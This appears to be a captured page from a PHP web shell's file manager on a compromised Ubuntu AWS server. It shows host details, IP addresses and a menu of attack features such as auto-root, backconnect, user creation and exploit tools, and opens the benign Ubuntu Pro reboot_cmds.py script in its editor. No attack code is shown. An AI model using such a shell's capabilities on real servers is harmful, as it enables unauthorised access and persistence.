Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.117.156.26
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ubuntu-advantage /
[ HOME SHELL ]
Name
Size
Permission
Action
apt-esm-json-hook
50.16
KB
-rwxr-xr-x
apt_news.py
565
B
-rw-r--r--
auto_attach.py
3.03
KB
-rw-r--r--
cloud-id-shim.sh
500
B
-rwxr-xr-x
convert_list_to_deb822.py
2.37
KB
-rw-r--r--
daemon.py
2.48
KB
-rw-r--r--
esm_cache.py
491
B
-rwxr-xr-x
migrate_user_config.py
5.37
KB
-rw-r--r--
patch_status_json.py
2.47
KB
-rwxr-xr-x
postinst-migrations.sh
2.85
KB
-rwxr-xr-x
reboot_cmds.py
3.97
KB
-rw-r--r--
timer.py
6.38
KB
-rw-r--r--
upgrade_lts_contract.py
742
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : reboot_cmds.py
#!/usr/bin/env python3 """ Run configuration operations during system boot. Some uaclient operations cannot be fully completed by running a single command. For example, when upgrading uaclient from trusty to xenial, we may have a livepatch change in the contract, allowing livepatch to be enabled on xenial. However, during the upgrade we cannot install livepatch on the system because the running kernel version will not be updated until reboot. Pro client touches a flag file /var/lib/ubuntu-advantage/marker-reboot-cmds-required to indicate this script should run at next boot to process any pending/unresovled config operations. """ import logging import sys from uaclient import ( api, config, contract, exceptions, http, lock, log, upgrade_lts_contract, ) from uaclient.api.u.pro.status.is_attached.v1 import _is_attached from uaclient.entitlements.fips import FIPSEntitlement from uaclient.files import notices, state_files LOG = logging.getLogger("ubuntupro.lib.reboot_cmds") def fix_pro_pkg_holds(cfg: config.UAConfig): status_cache = state_files.status_cache_file.read() if not status_cache: return for service in status_cache.get("services", []): if service.get("name") == "fips": if service.get("status") == "enabled": # fips was enabled, fix the holds break else: # fips was not enabled, don't do anything return LOG.info("Attempting to remove Ubuntu Pro FIPS package holds") fips = FIPSEntitlement(cfg) try: fips.setup_apt_config( progress=api.ProgressWrapper() ) # Removes package holds LOG.info("Successfully removed Ubuntu Pro FIPS package holds") except Exception as e: LOG.error(e) LOG.warning("Could not remove Ubuntu Pro FIPS package holds") try: fips.install_packages( progress=api.ProgressWrapper(), cleanup_on_failure=False ) except exceptions.UbuntuProError: LOG.warning("Failed to install packages at boot: %r", fips.packages) raise def refresh_contract(cfg: config.UAConfig): try: contract.refresh(cfg) except exceptions.ConnectivityError: LOG.warning("Failed to refresh contract") raise def main(cfg: config.UAConfig) -> int: if not state_files.reboot_cmd_marker_file.is_present: LOG.info("Skipping reboot_cmds. Marker file not present") notices.remove(notices.Notice.REBOOT_SCRIPT_FAILED) return 0 if not _is_attached(cfg).is_attached: LOG.info("Skipping reboot_cmds. Machine is unattached") state_files.reboot_cmd_marker_file.delete() notices.remove(notices.Notice.REBOOT_SCRIPT_FAILED) return 0 LOG.info("Running reboot commands...") try: with lock.RetryLock(lock_holder="pro-reboot-cmds"): fix_pro_pkg_holds(cfg) refresh_contract(cfg) upgrade_lts_contract.process_contract_delta_after_apt_lock(cfg) # cleanup state after a succesful run state_files.reboot_cmd_marker_file.delete() notices.remove(notices.Notice.REBOOT_SCRIPT_FAILED) except exceptions.LockHeldError as e: LOG.warning("Lock not released. %s", str(e.msg)) notices.add(notices.Notice.REBOOT_SCRIPT_FAILED) return 1 except exceptions.UbuntuProError as e: LOG.error( "Error while running commands on reboot: %s, %s", e.msg_code, e.msg ) notices.add(notices.Notice.REBOOT_SCRIPT_FAILED) return 1 except Exception as e: LOG.error("Failed running commands on reboot. Error: %s", str(e)) notices.add(notices.Notice.REBOOT_SCRIPT_FAILED) return 1 LOG.info("Successfully ran all commands on reboot.") return 0 if __name__ == "__main__": log.setup_journald_logging() cfg = config.UAConfig() http.configure_web_proxy(cfg.http_proxy, cfg.https_proxy) sys.exit(main(cfg=cfg))
Close